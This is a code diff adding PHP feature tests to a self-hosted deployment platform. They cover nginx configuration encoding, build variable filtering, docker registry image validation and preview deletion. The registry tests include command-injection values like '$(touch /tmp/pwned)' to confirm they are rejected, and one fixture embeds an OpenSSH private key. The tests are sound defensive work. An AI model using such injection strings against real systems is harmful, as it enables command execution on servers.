+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function customNginxApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function customNginxConfig(): string
+{
+    return <<<'NGINX'
+server {
+    listen 80;
+    location / {
+        try_files $uri $uri/ /index.html;
+    }
+}
+NGINX;
+}
+
+function makeCustomNginxApplication(array $overrides = []): Application
+{
+    return Application::factory()->create(array_merge([
+        'environment_id' => test()->environment->id,
+        'destination_id' => test()->destination->id,
+        'destination_type' => test()->destination->getMorphClass(),
+        'build_pack' => 'static',
+    ], $overrides));
+}
+
+describe('PATCH /api/v1/applications/{uuid} custom_nginx_configuration', function () {
+    test('decodes base64 custom nginx configuration before storing it', function () {
+        $application = makeCustomNginxApplication();
+        $configuration = customNginxConfig();
+        $encodedConfiguration = base64_encode($configuration);
+
+        $response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'custom_nginx_configuration' => $encodedConfiguration,
+            ]);
+
+        $response->assertOk();
+
+        $application->refresh();
+        expect($application->custom_nginx_configuration)->toBe($configuration);
+
+        $storedConfiguration = DB::table('applications')
+            ->where('id', $application->id)
+            ->value('custom_nginx_configuration');
+
+        expect($storedConfiguration)->toBe(base64_encode($configuration));
+
+        $this->withHeaders(customNginxApiHeaders($this->bearerToken))
+            ->getJson("/api/v1/applications/{$application->uuid}")
+            ->assertOk()
+            ->assertJsonPath('custom_nginx_configuration', $configuration);
+    });
+
+    test('rejects custom nginx configuration that is not base64 encoded', function () {
+        $application = makeCustomNginxApplication();
+
+        $response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'custom_nginx_configuration' => customNginxConfig(),
+            ]);
+
+        $response->assertUnprocessable()
+            ->assertJsonPath('errors.custom_nginx_configuration', 'The custom_nginx_configuration should be base64 encoded.');
+    });
+
+    test('can clear custom nginx configuration with null', function () {
+        $application = makeCustomNginxApplication([
+            'custom_nginx_configuration' => customNginxConfig(),
+        ]);
+
+        $response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'custom_nginx_configuration' => null,
+            ]);
+
+        $response->assertOk();
+
+        $application->refresh();
+        expect($application->custom_nginx_configuration)->toBeNull();
+    });
+});
+
+describe('POST /api/v1/applications/public custom_nginx_configuration', function () {
+    test('decodes base64 custom nginx configuration before storing it on create', function () {
+        $configuration = customNginxConfig();
+
+        $response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
+            ->postJson('/api/v1/applications/public', [
+                'project_uuid' => $this->project->uuid,
+                'environment_uuid' => $this->environment->uuid,
+                'server_uuid' => $this->server->uuid,
+                'git_repository' => 'https://gitlab.com/coolify/test-static-app',
+                'git_branch' => 'main',
+                'build_pack' => 'static',
+                'ports_exposes' => '80',
+                'custom_nginx_configuration' => base64_encode($configuration),
+                'autogenerate_domain' => false,
+            ]);
+
+        $response->assertCreated();
+
+        $application = Application::where('uuid', $response->json('uuid'))->firstOrFail();
+
+        expect($application->custom_nginx_configuration)->toBe($configuration);
+    });
+});

tests/Feature/ApplicationDeploymentControlVarFilteringTest.php

@@ -0,0 +1,509 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\ApplicationPreview;
+use App\Models\Environment;
+use App\Models\EnvironmentVariable;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Collection;
+
+uses(RefreshDatabase::class);
+
+class TestableControlVarFilteringDeploymentJob extends ApplicationDeploymentJob
+{
+    public array $recordedCommands = [];
+
+    public ?string $writtenDockerfile = null;
+
+    public function __construct() {}
+
+    public function execute_remote_command(...$commands)
+    {
+        $this->recordedCommands[] = $commands;
+
+        foreach ($commands as $command) {
+            $commandString = is_array($command) ? ($command['command'] ?? $command[0] ?? null) : $command;
+
+            if (! is_string($commandString)) {
+                continue;
+            }
+
+            if (preg_match('/echo .*?([A-Za-z0-9+\\/=]{16,}).*?\\| base64 -d \\| tee \\/artifacts\\/test-app\\/Dockerfile > \\/dev\\/null/', $commandString, $matches) === 1) {
+                $this->writtenDockerfile = base64_decode($matches[1]) ?: null;
+            }
+        }
+    }
+}
+
+function makeDeploymentControlVarFixture(array $applicationAttributes = []): array
+{
+    $team = Team::create([
+        'name' => 'Control Var Team',
+        'description' => 'Team for deployment control var tests.',
+        'personal_team' => false,
+        'show_boarding' => false,
+    ]);
+    $project = Project::create([
+        'name' => 'Control Var Project',
+        'team_id' => $team->id,
+    ]);
+    $environment = Environment::where('project_id', $project->id)->firstOrFail();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    $application = Application::factory()->create([
+        'environment_id' => $environment->id,
+        'build_pack' => 'dockerfile',
+        ...$applicationAttributes,
+    ]);
+
+    $application->settings()->update([
+        'inject_build_args_to_dockerfile' => true,
+        'include_source_commit_in_build' => false,
+        'is_env_sorting_enabled' => false,
+    ]);
+
+    return [$application->fresh(), $server];
+}
+
+function createApplicationEnvironmentVariable(Application $application, array $attributes): EnvironmentVariable
+{
+    return EnvironmentVariable::create([
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+        'is_preview' => false,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+        'is_multiline' => false,
+        'is_literal' => false,
+        ...$attributes,
+    ]);
+}
+
+function makeControlVarFilteringJob(Application $application, Server $server, array $overrides = []): array
+{
+    $job = new TestableControlVarFilteringDeploymentJob;
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+
+    $queue = Mockery::mock(ApplicationDeploymentQueue::class);
+    $queue->shouldReceive('addLogEntry')->andReturnNull();
+
+    $properties = [
+        'application' => $application->fresh(),
+        'application_deployment_queue' => $queue,
+        'build_pack' => $application->build_pack,
+        'mainServer' => $server,
+        'pull_request_id' => 0,
+        'commit' => 'HEAD',
+        'workdir' => '/artifacts/test-app',
+        'deployment_uuid' => 'deployment-uuid',
+        'dockerfile_location' => '/Dockerfile',
+        'container_name' => 'control-var-app',
+        'coolify_variables' => null,
+        'dockerSecretsSupported' => false,
+    ];
+
+    $mergedProperties = array_merge($properties, $overrides);
+    $mergedProperties['saved_outputs'] = new Collection($overrides['saved_outputs'] ?? []);
+
+    if (($mergedProperties['pull_request_id'] ?? 0) !== 0 && ! array_key_exists('preview', $mergedProperties)) {
+        $mergedProperties['preview'] = ApplicationPreview::create([
+            'application_id' => $application->id,
+            'pull_request_id' => $mergedProperties['pull_request_id'],
+            'pull_request_html_url' => 'https://example.com/pr/'.$mergedProperties['pull_request_id'],
+            'fqdn' => 'https://preview.example.com',
+        ]);
+    }
+
+    foreach ($mergedProperties as $property => $value) {
+        $reflectionProperty = $reflection->getProperty($property);
+        $reflectionProperty->setAccessible(true);
+        $reflectionProperty->setValue($job, $value);
+    }
+
+    return [$job, $reflection];
+}
+
+function invokeDeploymentJobMethod(object $job, ReflectionClass $reflection, string $method): mixed
+{
+    $reflectionMethod = $reflection->getMethod($method);
+    $reflectionMethod->setAccessible(true);
+
+    return $reflectionMethod->invoke($job);
+}
+
+function readDeploymentJobProperty(object $job, ReflectionClass $reflection, string $property): mixed
+{
+    $reflectionProperty = $reflection->getProperty($property);
+    $reflectionProperty->setAccessible(true);
+
+    return $reflectionProperty->getValue($job);
+}
+
+it('filters buildpack control vars from generic build args', function () {
+    [$application, $server] = makeDeploymentControlVarFixture();
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_ENV',
+        'value' => 'production',
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server);
+
+    invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
+
+    /** @var Collection $envArgs */
+    $envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
+
+    expect($envArgs->get('APP_ENV'))->toBe('production');
+    expect($envArgs->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
+    expect($envArgs->has('RAILPACK_NODE_VERSION'))->toBeFalse();
+});
+
+it('filters buildpack control vars from preview build-time env files', function () {
+    [$application, $server] = makeDeploymentControlVarFixture();
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_ENV',
+        'value' => 'production',
+        'is_preview' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+        'is_preview' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+        'is_preview' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server, [
+        'pull_request_id' => 42,
+    ]);
+
+    /** @var Collection $buildtimeEnvs */
+    $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
+
+    expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_ENV=')))->toBeTrue();
+    expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
+    expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
+});
+
+it('does not let preview docker compose service names override generated build-time service names', function () {
+    $compose = <<<'YAML'
+services:
+  app:
+    image: nginx
+  postgresapp:
+    image: postgres:16-alpine
+YAML;
+
+    [$application, $server] = makeDeploymentControlVarFixture([
+        'build_pack' => 'dockercompose',
+        'docker_compose_raw' => $compose,
+        'docker_compose' => $compose,
+        'docker_compose_domains' => '[]',
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'SERVICE_NAME_POSTGRESAPP',
+        'value' => '',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'SERVICE_URL_APP',
+        'value' => '',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server, [
+        'pull_request_id' => 241,
+    ]);
+
+    /** @var Collection $buildtimeEnvs */
+    $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
+    $envString = $buildtimeEnvs->implode("\n");
+
+    expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'");
+    expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""');
+    expect($envString)->not->toContain('SERVICE_URL_APP=');
+});
+
+it('does not let production docker compose service names override generated build-time service names', function () {
+    $compose = <<<'YAML'
+services:
+  app:
+    image: nginx
+  postgresapp:
+    image: postgres:16-alpine
+YAML;
+
+    [$application, $server] = makeDeploymentControlVarFixture([
+        'build_pack' => 'dockercompose',
+        'docker_compose_raw' => $compose,
+        'docker_compose' => $compose,
+        'docker_compose_domains' => '[]',
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'SERVICE_NAME_POSTGRESAPP',
+        'value' => 'stale-postgresapp',
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server);
+
+    /** @var Collection $buildtimeEnvs */
+    $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
+    $envString = $buildtimeEnvs->implode("\n");
+
+    expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'");
+    expect($envString)->not->toContain('stale-postgresapp');
+});
+
+it('filters docker compose generated service variables from build args', function () {
+    [$application, $server] = makeDeploymentControlVarFixture([
+        'build_pack' => 'dockercompose',
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_ENV',
+        'value' => 'production',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'SERVICE_NAME_POSTGRESAPP',
+        'value' => '',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'SERVICE_URL_APP',
+        'value' => 'https://preview.example.com',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server, [
+        'pull_request_id' => 241,
+    ]);
+
+    invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
+
+    /** @var Collection $envArgs */
+    $envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
+
+    expect($envArgs->get('APP_ENV'))->toBe('production');
+    expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse();
+    expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse();
+});
+
+it('filters buildpack control vars from preview runtime env fallback', function () {
+    [$application, $server] = makeDeploymentControlVarFixture();
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_NAME',
+        'value' => 'coolify',
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'PREVIEW_FLAG',
+        'value' => 'enabled',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+
+    $application->environment_variables_preview()
+        ->whereIn('key', ['APP_NAME', 'NIXPACKS_NODE_VERSION', 'RAILPACK_NODE_VERSION'])
+        ->delete();
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server, [
+        'pull_request_id' => 99,
+    ]);
+
+    /** @var Collection $runtimeEnvs */
+    $runtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_runtime_environment_variables');
+
+    expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_NAME=')))->toBeTrue();
+    expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('PREVIEW_FLAG=')))->toBeTrue();
+    expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
+    expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
+});
+
+it('filters buildpack control vars from dockerfile arg injection', function () {
+    [$application, $server] = makeDeploymentControlVarFixture();
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_ENV',
+        'value' => 'production',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application, $server, [
+        'saved_outputs' => [
+            'dockerfile' => "FROM php:8.4-cli\nRUN php -v",
+        ],
+    ]);
+
+    invokeDeploymentJobMethod($job, $reflection, 'add_build_env_variables_to_dockerfile');
+
+    expect($job->writtenDockerfile)->toContain('ARG APP_ENV=production');
+    expect($job->writtenDockerfile)->not->toContain('ARG NIXPACKS_NODE_VERSION=');
+    expect($job->writtenDockerfile)->not->toContain('ARG RAILPACK_NODE_VERSION=');
+});
+
+it('builds railpack variables from generic buildtime vars railpack vars and coolify vars only', function () {
+    [$application, $server] = makeDeploymentControlVarFixture([
+        'build_pack' => 'railpack',
+        'fqdn' => 'https://railpack.example.com',
+        'install_command' => 'pnpm install --frozen-lockfile',
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'APP_ENV',
+        'value' => 'production',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RUNTIME_ONLY',
+        'value' => 'runtime',
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
+        'build_pack' => 'railpack',
+        'branch' => 'main',
+    ]);
+
+    /** @var Collection $variables */
+    $variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
+
+    expect($variables->get('APP_ENV'))->toBe('production');
+    expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
+    expect($variables->get('RAILPACK_INSTALL_CMD'))->toBe('pnpm install --frozen-lockfile');
+    expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
+    expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
+    expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
+    expect($variables->has('RUNTIME_ONLY'))->toBeFalse();
+});
+
+it('builds preview railpack variables without leaking stale nixpacks vars', function () {
+    [$application, $server] = makeDeploymentControlVarFixture([
+        'build_pack' => 'railpack',
+        'fqdn' => 'https://railpack.example.com',
+    ]);
+
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'PREVIEW_BUILD_FLAG',
+        'value' => 'enabled',
+        'is_preview' => true,
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'PREVIEW_RUNTIME_ONLY',
+        'value' => 'runtime',
+        'is_preview' => true,
+        'is_runtime' => true,
+        'is_buildtime' => false,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'NIXPACKS_NODE_VERSION',
+        'value' => '22',
+        'is_preview' => true,
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+    createApplicationEnvironmentVariable($application, [
+        'key' => 'RAILPACK_NODE_VERSION',
+        'value' => '20',
+        'is_preview' => true,
+        'is_runtime' => false,
+        'is_buildtime' => true,
+    ]);
+
+    [$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
+        'build_pack' => 'railpack',
+        'branch' => 'feature/railpack',
+        'pull_request_id' => 123,
+    ]);
+
+    /** @var Collection $variables */
+    $variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
+
+    expect($variables->get('PREVIEW_BUILD_FLAG'))->toBe('enabled');
+    expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
+    expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
+    expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
+    expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
+    expect($variables->has('PREVIEW_RUNTIME_ONLY'))->toBeFalse();
+});

tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php

@@ -0,0 +1,108 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'docker-registry-validation-api-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::factory()->create([
+        'server_id' => $this->server->id,
+        'network' => 'coolify-'.Str::lower(Str::random(8)),
+    ]);
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function dockerRegistryApiHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function makeDockerRegistryValidationApplication(array $overrides = []): Application
+{
+    return Application::factory()->create(array_merge([
+        'environment_id' => test()->environment->id,
+        'destination_id' => test()->destination->id,
+        'destination_type' => test()->destination->getMorphClass(),
+        'build_pack' => 'nixpacks',
+        'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
+        'docker_registry_image_tag' => 'latest',
+    ], $overrides));
+}
+
+describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () {
+    test('rejects shell metacharacters in docker registry image name without persisting them', function () {
+        $application = makeDockerRegistryValidationApplication();
+
+        $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
+                'docker_registry_image_tag' => 'latest',
+            ]);
+
+        $response->assertUnprocessable()
+            ->assertInvalid(['docker_registry_image_name']);
+
+        $application->refresh();
+        expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
+            ->and($application->docker_registry_image_tag)->toBe('latest');
+    });
+
+    test('rejects shell metacharacters in docker registry image tag without persisting them', function () {
+        $application = makeDockerRegistryValidationApplication();
+
+        $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
+                'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)',
+            ]);
+
+        $response->assertUnprocessable()
+            ->assertInvalid(['docker_registry_image_tag']);
+
+        $application->refresh();
+        expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
+            ->and($application->docker_registry_image_tag)->toBe('latest');
+    });
+
+    test('accepts valid docker registry image values', function () {
+        $application = makeDockerRegistryValidationApplication();
+
+        $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$application->uuid}", [
+                'docker_registry_image_name' => 'registry.example.com:5000/team/app',
+                'docker_registry_image_tag' => 'v1.2.3',
+            ]);
+
+        $response->assertOk();
+
+        $application->refresh();
+        expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app')
+            ->and($application->docker_registry_image_tag)->toBe('v1.2.3');
+    });
+});

tests/Feature/ApplicationGeneralBuildpackSelectorTest.php

@@ -0,0 +1,85 @@
+<?php
+
+use App\Livewire\Project\Application\General;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\PrivateKey;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::updateOrCreate(['id' => 0], []);
+    });
+
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->privateKey = PrivateKey::create([
+        'name' => 'Test Key',
+        'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+        'team_id' => $this->team->id,
+    ]);
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $this->privateKey->id,
+    ]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()
+        ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);
+});
+
+test('existing application buildpack selector lists nixpacks before railpack', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'build_pack' => 'nixpacks',
+        'static_image' => 'nginx:alpine',
+        'base_directory' => '/',
+        'is_http_basic_auth_enabled' => false,
+        'redirect' => 'no',
+    ]);
+
+    Livewire::test(General::class, ['application' => $application])
+        ->assertSuccessful()
+        ->assertSeeInOrder([
+            '<option value="nixpacks">Nixpacks</option>',
+            '<option value="railpack">Railpack (Beta)</option>',
+        ], false);
+});
+
+test('existing application shows railpack beta label in build pack selector', function () {
+    $application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => StandaloneDocker::class,
+        'build_pack' => 'railpack',
+        'static_image' => 'nginx:alpine',
+        'base_directory' => '/',
+        'is_http_basic_auth_enabled' => false,
+        'redirect' => 'no',
+    ]);
+
+    Livewire::test(General::class, ['application' => $application])
+        ->assertSuccessful()
+        ->assertSee('Railpack (Beta)');
+});

tests/Feature/ApplicationPreviewApiTest.php

@@ -0,0 +1,132 @@
+<?php
+
+use App\Actions\Application\CleanupPreviewDeployment;
+use App\Models\Application;
+use App\Models\ApplicationPreview;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Bus;
+use Illuminate\Support\Str;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Bus::fake();
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    CleanupPreviewDeployment::shouldRun()->andReturn([
+        'cancelled_deployments' => 0,
+        'killed_containers' => 0,
+        'status' => 'success',
+    ]);
+});
+
+function previewAuthHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function createTeamApiToken(User $user, Team $team, array $abilities): string
+{
+    $plainTextToken = Str::random(40);
+    $token = $user->tokens()->create([
+        'name' => 'test-token-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => $abilities,
+        'team_id' => $team->id,
+    ]);
+
+    return $token->getKey().'|'.$plainTextToken;
+}
+
+function createPreview(Application $application, int $pullRequestId): ApplicationPreview
+{
+    return ApplicationPreview::create([
+        'uuid' => (string) new Cuid2,
+        'application_id' => $application->id,
+        'pull_request_id' => $pullRequestId,
+        'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}",
+        'fqdn' => "pr-{$pullRequestId}.example.com",
+    ]);
+}
+
+describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
+    test('returns 401 when no bearer token provided', function () {
+        $response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+        $response->assertUnauthorized();
+    });
+
+    test('returns 404 when application uuid does not exist', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42');
+
+        $response->assertNotFound()
+            ->assertJson(['message' => 'Application not found.']);
+    });
+
+    test('returns 404 when preview does not exist for the application', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999");
+
+        $response->assertNotFound()
+            ->assertJson(['message' => 'Preview not found.']);
+    });
+
